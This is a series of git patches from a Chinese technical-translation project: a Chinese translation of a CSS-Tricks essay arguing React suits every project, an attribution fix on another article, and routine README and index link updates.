index 31831d29600..46b622a7934 100644
--- a/TODO/the-time-i-had-to-crack-my-own-reddit-password.md
+++ b/TODO/the-time-i-had-to-crack-my-own-reddit-password.md
@@ -1,5 +1,5 @@
 > * 原文地址：[That time I had to crack my own Reddit password](https://medium.freecodecamp.com/the-time-i-had-to-crack-my-own-reddit-password-a6077c0a13b4)
-> * 原文作者：[Haseeb Qureshi](https://medium.freecodecamp.com/@hosseeb?source=post_header_lockup)
+> * 原文作者：本文已获原作者 [Haseeb Qureshi](https://medium.freecodecamp.com/@hosseeb) 授权
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[cdpath](https://github.com/cdpath)
 > * 校对者：[atuooo (oOatuo)](https://github.com/atuooo), [yzgyyang (Guangyuan (Charlie) Yang)](https://github.com/yzgyyang)

From ec84aa8f290dcd119d2e820571475218edba4e1a Mon Sep 17 00:00:00 2001
From: sunxinlei <sunxinly@gmail.com>
Date: Fri, 5 May 2017 22:20:23 +0800
Subject: [PATCH 348/638] =?UTF-8?q?=E5=88=9D=E7=A8=BF=E5=AE=8C=E6=88=90?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/projects-need-react.md | 104 ++++++++++++++++++------------------
 1 file changed, 52 insertions(+), 52 deletions(-)

diff --git a/TODO/projects-need-react.md b/TODO/projects-need-react.md
index fb64aa59e23..be8b4656ab0 100644
--- a/TODO/projects-need-react.md
+++ b/TODO/projects-need-react.md
@@ -1,107 +1,107 @@
 > * 原文地址：[Which Projects Need React? All Of Them!](https://css-tricks.com/projects-need-react/)
 > * 原文作者：[SACHA GREIF](https://css-tricks.com/author/sachagreif/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
+> * 译者：[sunui](https://github.com/sunui)
 > * 校对者：
 
-# Which Projects Need React? All Of Them! #
+# 哪些项目需要 React？都需要！#
 
-When does a project need React? That's the question Chris Coyier addressed in [a recent blog post](https://css-tricks.com/project-need-react/). I'm a big fan of Chris' writing, so I was curious to see what he had to say. 
+项目什么时候需要 React 框架呢？这是 Chris Coyier 在[最近一篇博文](https://github.com/xitu/gold-miner/blob/master/TODO/project-need-react.md)中的问题。我是 Chris 博客的粉丝，所以我好奇地看到了他不得不说的话。
 
-In a nutshell, Chris puts forward a series of good and bad reasons why one might want to use React (or other similar modern JavaScript libraries) on a project. Yet while I don't disagree with his arguments, I still find myself coming to a different conclusion. 
+简而言之，Chris 提出了一系列使用 React（或其他类似的当代 JavaScript 库）的优势和劣势。然而，虽然我并不反对他的观点，但我依然发现自己得出了不同的结论。
 
-So today, I'm here to argue that the answer to "When does a project need React?" is not "it depends". It's "**every time**". 
+所以今天我想说的是，对于“项目什么时候需要 React 框架”的答案不是“要看情況”，而是“**任何时候**”。
 
 ![](https://cdn.css-tricks.com/wp-content/uploads/2017/04/tools.jpg)
 
 ### React vs Vue vs Angular vs… ###
 
-First, let's get something out of the way: in his article, Chris picked React as a stand-in for "front-end libraries" in general, and I'll do the same here. Plus, React is what I'm most familiar with from my ongoing work on [VulcanJS](http://vulcanjs.org), a React and GraphQL framework. 
+首先，说点题外话：在他的文章中，Chris 选择 React 作为一般意义上“前端库”的代表，那么我也一样。况且 React 是我维护的仓库 [VulcanJS](http://vulcanjs.org)（一个 React 和 GraphQL 框架）中最熟悉的东西。
 
-That being said, my arguments should apply equally well to any other library that offers the same features as React. 
+话虽如此，我的观点也适用于任何提供 React 相同特性的其他库。
 
-### The Power of the Hammer ###
+### 锤子的力量 ###
 
-> When all you have is a hammer, everything looks like a nail.
+> 如果你手里只有一把锤子， 所有东西看上去都像钉子。
 
-This proverb has long been used to condemn anybody trying to apply a systematic one-size-fits-all approach to every problem. 
+这则谚语长久以来用来谴责一刀切看问题的人。
 
-But let's suppose for a moment that you *did* live in a world full of nails (however uncomfortable this might sound), and that your trusty hammer was able to take care of any issues you encounter. 
+但我们假设有一段时间，你的确生活在布满钉子的世界（听起来有点起鸡皮疙瘩），那么你信任的锤子能够解决你遇到的任何问题。
 
-Just consider the benefits of being able to **reuse the same tool every time**:
+想想**每次重复使用相同工具**的好处：
 
-- No time spent on deciding which tool to use. 
-- Less time spent having to learn new tools.
-- More time to get better at wielding your tool of choice. 
+- 无需花时间决定使用哪一个工具。
+- 花更少的时间学习新工具。
+- 拥有更多的时间来更好地挥舞你选择的工具。
 
-So is React that tool? I think it just might be!
+所以 React 会是这种工具吗？我觉得它可能是的！
 
-### The Complexity Spectrum ###
+### 复杂度谱 ###
 
-First, let's address the most common argument against the "React all the things!" approach. I'll quote directly from Chris:
+首先，我们来看看最常见的反对“一切皆 React”的观点。我直接引用 Chris 原话：
 
-> A blog, for example, *probably* has none of the problems and fits none of the scenarios that would make React a good fit. And because it's not a good fit, it's probably a *bad* fit, because it introduces complicated technology and dependencies for something that doesn't call for it.
+> 举个例子，一个博客也许没什么复杂的逻辑，一点也不符合应该使用 React 框架的情况。所以如果不是很适合的话，那么也许就是很不适合 React 框架。因为这么做引入了复杂的技术，依赖了很多根本没用到的东西。
 
-Fair enough. A simple blog doesn't *need* React. After all, even if you need a bit of JavaScript to hook up a newsletter sign-up form, you can just use jQuery. 
+讲的很公平。一个简单的博客不**需要** React。毕竟即使你需要一点 Javascript 处理注册表单，你也可以仅仅使用 jQuery。
 
-What's that? You need to use that form in multiple places on different pages? And only show it under certain conditions? And animate it, too? Wait, hold on…
+什么？你需要在不同页面多处使用那个表单？还要只在某些条件下才显示？也要加上动画？等等，打住…
 
-The point I'm trying to make with this little scenario is that complexity is not an all-or-nothing, binary choice. Instead, modern websites live on a continuous spectrum that goes from static page all the way to rich single-page app. 
+我用这个小情景想表达的主旨就是复杂性并不是一个或是或非的问题，现代网站生活在一个连续的频谱上，从静态页面一直到丰富的单页应用。
 
-So maybe your project is comfortably nested at the "simple" end of the spectrum *now*, but what about six months down the road? Isn't it better to pick a technology that leaves you room to grow, rather than one that pigeon-holes you into bad practices?
+所以可能**现在**你的项目正舒服地生活在“简单”的这一头，但这一路下去六个月后呢？与其陷入鸽子洞式的糟糕实践，选择一种留有成长空间的技术岂不更好？
 
-### The Benefits of React ###
+### React 的优势 ###
 
-> Premature optimization is the root of all evil.
+> 过早优化是所有邪恶的根源。
 
-Another popular saying among programmers. After all, who needs a hammer and nails when duct tape will do just fine!
+这是程序员中流行的另一则言语。毕竟，当胶带就能做的很好的时候，谁会需要锤子和钉子呢！
 
-But this makes the assumption that "premature optimization" is a long, arduous process with few benefits. And I don't think this applies to React. 
+但这里做了一个假设就是“过早优化”是一个长期的少有成效的艰难过程。并且我觉得这个不适于 React。
 
-While React may take some time getting used to, once you learn [its basic concepts](https://medium.freecodecamp.com/the-5-things-you-need-to-know-to-understand-react-a1dbd5d114a3) you'll be just as productive as with classic front-end tools. 
+虽然 React 需要一些时间来习惯，但一旦了解了其[基本概念](https://medium.freecodecamp.com/the-5-things-you-need-to-know-to-understand-react-a1dbd5d114a3)，您就能像传统的前端工具一样快速上手。
 
-Maybe more in fact, because React leverages the extremely powerful concept of **components**. Just like CSS encourages you to think in terms of reusable classes and styles, React pushes you towards a flexible, modular front-end architecture that has benefits for every use case, from the lowly static homepage to the interactive back-end dashboard. 
+也许更多的是因为 React 利用了非常强大的**组件**概念。就像 CSS 鼓励你考虑可重用的类和样式一样，React 带来了一个灵活的模块化前端架构，从简单的静态主页到交互式后端仪表板，为每一个用例带来好处。
 
-### JavaScript, JavaScript Everywhere ###
+### JavaScript， 随处都是 JavaScript ###
 
-We live in a JavaScript world. Or, as Chris puts it:
+我们生存在 JavaScript 的世界。就像 Chris 所说：
 
-> You got Node.js on the server side. There are loads of projects that yank CSS out of the mix and handle styles through JavaScript. And with React, your HTML is in JavaScript too.
-> 
-> All JavaScript! All hail JavaScript!
+> 你通过 Node.js 构建服务端，也有很多项目可以通过 JavaScript 处理 CSS。现在通过 React 框架，你还可以在 JavaScript 里写 HTML。
+>
+> 万物归于 JavaScript！JavaScript 万岁！
 
-Chris isn't quite convinced, but I am. JavaScript in itself isn't necessarily perfect, but having access to the entire modern NPM ecosystem is amazing. 
+Chris 不十分相信，但我很确信。JavaScript 本身并不一定完美，但访问整个现代 NPM 生态系统太棒了。
 
-Installing a jQuery plugin used to involve finding its homepage, downloading it, copying it in your project directory, adding a `<script>` tag, and then hopefully remembering to check back every couple months for new versions. These days, installing the same plugin as a React package is just the matter of a single npm install command. 
+过去安装一个 jQuery 插件要找到它的官网，下载下来，拷贝到你的项目目录，加一个 `<script>` 标签，然后期望记得每过几个月检查一下新版本。现在，安装和 React 包同样的插件只是 npm install 命令的问题。
 
-And with new libraries like [styled-components](https://medium.freecodecamp.com/a-5-minute-intro-to-styled-components-41f40eb7cd55), even CSS is now being dragged kicking and screaming into the future.  
+使用像 [styled-components](https://medium.freecodecamp.com/a-5-minute-intro-to-styled-components-41f40eb7cd55) 这样的新库，甚至 CSS 现在也被连带着尖叫着进入未来。
 
-Believe me, once you get used to this world where everything is speaking the same language, it's really hard to go back to the old way of doing things. 
+相信我，一旦你习惯了这个一切都在说同一种语言的世界，就很难回到旧的做事方式了。
 
-### Won't Somebody Please Think of the Users! ###
+### 不会有人想到用户！###
 
-I know what you're thinking: so far I've tried to sell you on the benefits of React to developers, but I've carefully side-stepped any mention of the end user experience. 
+我知道你在想什么：目前为止我一直在推销 React 给开发者带来的好处，却小心翼翼的提及终端用户的体验。
 
-And that remains the key argument against modern libraries: slow, JavaScript-bloated sites that take ages just to display a single "one weird trick" ad. 
+并且这仍然是反对使用当代库的关键论点：缓慢臃肿的 JavaScript 站点却只是为了显示单个“奇迹淫巧”的广告。
 
-Except here's a little secret: **you can get all the benefits of React without any JavaScript at all**!
+此外还有一个小秘密：**你可以完全不引用 JavaScript 而获得 React 的所有优势**！
 
-What I'm talking about here is rendering React on **the server**. In fact, tools like [Gatsby](https://github.com/gatsbyjs/gatsby) (and soon, [Next.js](https://github.com/zeit/next.js/)) even let you compile React components into static HTML files that you can host on, say, GitHub pages. 
+我想说的是**服务端**渲染 React。事实上， 像 [Gatsby](https://github.com/gatsbyjs/gatsby)（还有 [Next.js](https://github.com/zeit/next.js/) 等等）这样的工具可以把你的 React 组建编译进静态 HTML 文件中，这样你可以托管在 GitHub pages 上面。
 
-As an example, [my own personal site](http://sachagreif.com/) is a Gatsby-generated React app that doesn't load any JavaScript at all (beyond a Google Analytics snippet). I get all the benefits of using React in development (all-JavaScript, access to the NPM ecosystem, styled-components, etc.) but end up with a 100% HTML-and-CSS end product. 
+举个例子，[我自己的个人站点](http://sachagreif.com/) 就是一个 Gatsby-generated React 应用，没有加载任何的 JavaScript（除了一个 Google Analytics 片段）。 我在开发中获得了 React 的所有优势（全 JavaScript，拥抱 NPM 生态，styled-components 等），而最终得到了纯 HTML 和 CSS 的最终产品。
 
-### Wrappi
+### 总结
 
-To recap, here are the four reasons why I think React is a valid choice for *any* project:
+概括一下，这是我认为 React 是**任何**项目的可行选择的四个原因：
 
-- It's really hard to guarantee you'll never *ever* need interactive features like tabs, forms, etc. even for the simplest of site.
-- React's component-based approach has big benefits even for static content-based sites.
-- Access to the modern JavaScript ecosystem is a huge benefit. 
-- Modern server-rendering tools eliminate the downsides of using React for the end user.
+- 即使是最简单的网站，也很难保证你永远不会需要交互功能，如标签、表单等。
+- React 基于组件的方式即使相比于基于内容的静态站，也有巨大的优势。
+- 访问现代 JavaScript 生态系统是又一个巨大的优势。
+- 现代服务端渲染工具可以消除终端用户使用 React 的劣势。
 
-So what do you think, Chris? Have I made a convincing case? Or do doubts still linger in your mind?
+所以 Chris，您觉得呢？我的观点否足够令人信服？还是您依然保持怀疑？
 
-And what about you, dear reader? Whether you think like Chris that every tool has its use, or whether you agree with me that the Time of the Hammer is at hand, let us know in the comments!
+那么你呢，亲爱的读者？你觉得像 Chris 所说每一个工具都有它的用处，还是同意我的观点“锤子时间”就在眼前？评论起来让我知道你们的观点吧！
 
 ---
 

From f61951e6a6b38efe3b3b2d3f6d8cd54a3da0b458 Mon Sep 17 00:00:00 2001
From: sqrthree <imsqrtthree@gmail.com>
Date: Fri, 5 May 2017 22:43:14 +0800
Subject: [PATCH 349/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=20JavaScript=20?=
 =?UTF-8?q?=E4=B8=AD=E7=9A=84=20CSS=EF=BC=9A=E5=9F=BA=E4=BA=8E=E7=BB=84?=
 =?UTF-8?q?=E4=BB=B6=E7=9A=84=E6=A0=B7=E5=BC=8F=E7=9A=84=E6=9C=AA=E6=9D=A5?=
 =?UTF-8?q?=20=E7=9A=84=E7=A7=AF=E5=88=86?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 README.md    | 4 ++--
 front-end.md | 1 +
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index 5edf351859a..e9558b52ae2 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [480](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [481](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 #  官方指南：
 
@@ -37,10 +37,10 @@
 
 ## 前端
 
+* [JavaScript 中的 CSS：基于组件的样式的未来](https://juejin.im/post/590822768d6d810058e4d24d?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([bambooom](https://github.com/bambooom) 翻译)
 * [代码中添加注释之好坏丑](https://juejin.im/post/5902126aa0bb9f0065e80ea9?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([bambooom](https://github.com/bambooom) 翻译)
 * [真正行动之前 你将一无所成](https://juejin.im/entry/58f6136861ff4b00580aef28?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([owenlyn](https://github.com/owenlyn) 翻译)
 * [高阶函数（软件编写）（第四部分）](https://juejin.im/post/58f6d6ff570c3500564fbddc?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([reid3290](https://github.com/reid3290) 翻译)
-* [为什么用 JavaScript 学习函数式编程？（软件编写）（第二部分）](https://juejin.im/post/58f5a2ecb123db2fa2b1b244?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([gy134340](http://gy134340.com/) 翻译)
 * [所有前端译文>>](https://github.com/xitu/gold-miner/blob/master/front-end.md)
 
 
diff --git a/front-end.md b/front-end.md
index 1003c4e3da8..202df8f849d 100644
--- a/front-end.md
+++ b/front-end.md
@@ -1,3 +1,4 @@
+* [JavaScript 中的 CSS：基于组件的样式的未来](https://juejin.im/post/590822768d6d810058e4d24d?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([bambooom](https://github.com/bambooom) 翻译)
 * [代码中添加注释之好坏丑](https://juejin.im/post/5902126aa0bb9f0065e80ea9?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([bambooom](https://github.com/bambooom) 翻译)
 * [真正行动之前 你将一无所成](https://juejin.im/entry/58f6136861ff4b00580aef28?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([owenlyn](https://github.com/owenlyn) 翻译)
 * [高阶函数（软件编写）（第四部分）](https://juejin.im/post/58f6d6ff570c3500564fbddc?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([reid3290](https://github.com/reid3290) 翻译)

From b929d4c33e9cc53d45147d9a8a13ae341a10d177 Mon Sep 17 00:00:00 2001
From: sqrthree <imsqrtthree@gmail.com>
Date: Fri, 5 May 2017 22:53:45 +0800
Subject: [PATCH 350/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=20=E4=BD=BF=E7=94=A8?=
 =?UTF-8?q?=20Espresso=20=E9=9A=94=E7=A6=BB=E6=B5=8B=E8=AF=95=E8=A7=86?=
 =?UTF-8?q?=E5=9B=BE=20=E7=9A=84=E7=A7=AF=E5=88=86?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 README.md  | 4 ++--
 android.md | 1 +
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index e9558b52ae2..b10bb7207fb 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [481](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [482](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 #  官方指南：
 
@@ -20,10 +20,10 @@
 
 ## Android
 
+* [使用 Espresso 隔离测试视图](https://juejin.im/post/59088d650ce463006182a07/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([yazhi1992](https://github.com/yazhi1992) 翻译)
 * [RxJava 中的多线程](https://juejin.im/post/58ff6259da2f60005dd81459/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([phxnirvana](https://github.com/phxnirvana) 翻译)
 * [Android 如何实现气泡选择动画](https://juejin.im/post/58e5ec838d6d8100616d82e2/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([skyar2009](https://github.com/skyar2009) 翻译)
 * [一个人的 Android 开发](https://juejin.im/entry/58dca515b123db00603887fd/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([BoilerYao](https://github.com/BoilerYao) 翻译)
-* [我是如何做到在 5 分钟之内将应用大小减少 60% 的](https://juejin.im/post/58d9b6a1a22b9d0064719f9e/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([jifaxu](https://github.com/jifaxu) 翻译)
 * [所有 Android 译文>>](https://github.com/xitu/gold-miner/blob/master/android.md)
 
 
diff --git a/android.md b/android.md
index 5f71c32ddf2..433c8092642 100644
--- a/android.md
+++ b/android.md
@@ -1,3 +1,4 @@
+* [使用 Espresso 隔离测试视图](https://juejin.im/post/59088d650ce463006182a07/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([yazhi1992](https://github.com/yazhi1992) 翻译)
 * [RxJava 中的多线程](https://juejin.im/post/58ff6259da2f60005dd81459/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([phxnirvana](https://github.com/phxnirvana) 翻译)
 * [Android 如何实现气泡选择动画](https://juejin.im/post/58e5ec838d6d8100616d82e2/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([skyar2009](https://github.com/skyar2009) 翻译)
 * [一个人的 Android 开发](https://juejin.im/entry/58dca515b123db00603887fd/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([BoilerYao](https://github.com/BoilerYao) 翻译)

From ee16c1a24326d2cb8873269c843d431595494e71 Mon Sep 17 00:00:00 2001
From: sqrthree <imsqrtthree@gmail.com>
Date: Fri, 5 May 2017 23:44:18 +0800
Subject: [PATCH 351/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=20ES6=20=E6=A8=A1?=
 =?UTF-8?q?=E5=9D=97=E5=8E=9F=E7=94=9F=E6=94=AF=E6=8C=81=E5=9C=A8=E6=B5=8F?=
 =?UTF-8?q?=E8=A7=88=E5=99=A8=E4=B8=AD=E8=90=BD=E5=9C=B0=EF=BC=8C=E6=98=AF?=
 =?UTF-8?q?=E6=97=B6=E5=80=99=E8=AF=A5=E9=87=8D=E6=96=B0=E8=80=83=E8=99=91?=
 =?UTF-8?q?=E6=89=93=E5=8C=85=E4=BA=86=E5=90=97=EF=BC=9F=20=E7=9A=84?=
 =?UTF-8?q?=E7=A7=AF=E5=88=86?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 README.md    | 4 ++--
 front-end.md | 1 +
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index b10bb7207fb..ab4f0459009 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [482](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [483](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 #  官方指南：
 
@@ -37,10 +37,10 @@
 
 ## 前端
 
+* [ES6 模块原生支持在浏览器中落地，是时候该重新考虑打包了吗？](https://juejin.im/post/590a990a5c497d005852cf61?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih) 翻译)
 * [JavaScript 中的 CSS：基于组件的样式的未来](https://juejin.im/post/590822768d6d810058e4d24d?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([bambooom](https://github.com/bambooom) 翻译)
 * [代码中添加注释之好坏丑](https://juejin.im/post/5902126aa0bb9f0065e80ea9?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([bambooom](https://github.com/bambooom) 翻译)
 * [真正行动之前 你将一无所成](https://juejin.im/entry/58f6136861ff4b00580aef28?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([owenlyn](https://github.com/owenlyn) 翻译)
-* [高阶函数（软件编写）（第四部分）](https://juejin.im/post/58f6d6ff570c3500564fbddc?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([reid3290](https://github.com/reid3290) 翻译)
 * [所有前端译文>>](https://github.com/xitu/gold-miner/blob/master/front-end.md)
 
 
diff --git a/front-end.md b/front-end.md
index 202df8f849d..20de34b5cb1 100644
--- a/front-end.md
+++ b/front-end.md
@@ -1,3 +1,4 @@
+* [ES6 模块原生支持在浏览器中落地，是时候该重新考虑打包了吗？](https://juejin.im/post/590a990a5c497d005852cf61?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih) 翻译)
 * [JavaScript 中的 CSS：基于组件的样式的未来](https://juejin.im/post/590822768d6d810058e4d24d?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([bambooom](https://github.com/bambooom) 翻译)
 * [代码中添加注释之好坏丑](https://juejin.im/post/5902126aa0bb9f0065e80ea9?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([bambooom](https://github.com/bambooom) 翻译)
 * [真正行动之前 你将一无所成](https://juejin.im/entry/58f6136861ff4b00580aef28?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([owenlyn](https://github.com/owenlyn) 翻译)

From 567cb76962fba2fecea372a8560c774e73aced48 Mon Sep 17 00:00:00 2001
From: sqrthree <imsqrtthree@gmail.com>
Date: Sat, 6 May 2017 00:03:34 +0800
Subject: [PATCH 352/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=20=E5=BC=80=E5=8F=91?=
 =?UTF-8?q?=E8=80=85=EF=BC=88=E4=B9=9F=E5=B0=B1=E6=98=AF=E6=88=91=EF=BC=89?=
 =?UTF-8?q?=E4=B8=8ERx=20Observable=20=E7=B1=BB=E7=9A=84=E5=AF=B9=E8=AF=9D?=
 =?UTF-8?q?=20[=20Android=20RxJava2=20]=20(=20=E8=BF=99=E5=88=B0=E5=BA=95?=
 =?UTF-8?q?=E6=98=AF=E4=BB=80=E4=B9=88=EF=BC=9F)=20=E7=AC=AC=E4=BA=94?=
 =?UTF-8?q?=E9=83=A8=E5=88=86=20=E7=9A=84=E7=A7=AF=E5=88=86?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 README.md  | 4 ++--
 android.md | 1 +
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index ab4f0459009..5b197d2d5b5 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [483](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [484](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 #  官方指南：
 
@@ -20,10 +20,10 @@
 
 ## Android
 
+* [开发者（也就是我）与Rx Observable 类的对话 [ Android RxJava2 ] ( 这到底是什么？) 第五部分](https://juejin.im/post/590ab4f7128fe10058f35119/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([stormrabbit](https://github.com/stormrabbit) 翻译)
 * [使用 Espresso 隔离测试视图](https://juejin.im/post/59088d650ce463006182a07/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([yazhi1992](https://github.com/yazhi1992) 翻译)
 * [RxJava 中的多线程](https://juejin.im/post/58ff6259da2f60005dd81459/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([phxnirvana](https://github.com/phxnirvana) 翻译)
 * [Android 如何实现气泡选择动画](https://juejin.im/post/58e5ec838d6d8100616d82e2/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([skyar2009](https://github.com/skyar2009) 翻译)
-* [一个人的 Android 开发](https://juejin.im/entry/58dca515b123db00603887fd/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([BoilerYao](https://github.com/BoilerYao) 翻译)
 * [所有 Android 译文>>](https://github.com/xitu/gold-miner/blob/master/android.md)
 
 
diff --git a/android.md b/android.md
index 433c8092642..d949c54e525 100644
--- a/android.md
+++ b/android.md
@@ -1,3 +1,4 @@
+* [开发者（也就是我）与Rx Observable 类的对话 [ Android RxJava2 ] ( 这到底是什么？) 第五部分](https://juejin.im/post/590ab4f7128fe10058f35119/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([stormrabbit](https://github.com/stormrabbit) 翻译)
 * [使用 Espresso 隔离测试视图](https://juejin.im/post/59088d650ce463006182a07/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([yazhi1992](https://github.com/yazhi1992) 翻译)
 * [RxJava 中的多线程](https://juejin.im/post/58ff6259da2f60005dd81459/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([phxnirvana](https://github.com/phxnirvana) 翻译)
 * [Android 如何实现气泡选择动画](https://juejin.im/post/58e5ec838d6d8100616d82e2/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([skyar2009](https://github.com/skyar2009) 翻译)

From 5cb842996c979b8bf4f5e1ebc07a7c94bd030059 Mon Sep 17 00:00:00 2001
From: sqrthree <imsqrtthree@gmail.com>
Date: Sat, 6 May 2017 00:11:33 +0800
Subject: [PATCH 353/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=20=E5=9C=A8=20Swift?=
 =?UTF-8?q?=20=E4=B8=AD=E4=BD=BF=E7=94=A8=E9=97=AD=E5=8C=85=E5=AE=9E?=
 =?UTF-8?q?=E7=8E=B0=E6=87=92=E5=8A=A0=E8=BD=BD=20=E7=9A=84=E7=A7=AF?=
 =?UTF-8?q?=E5=88=86?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 README.md | 4 ++--
 ios.md    | 1 +
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index 5b197d2d5b5..2340a00fb29 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
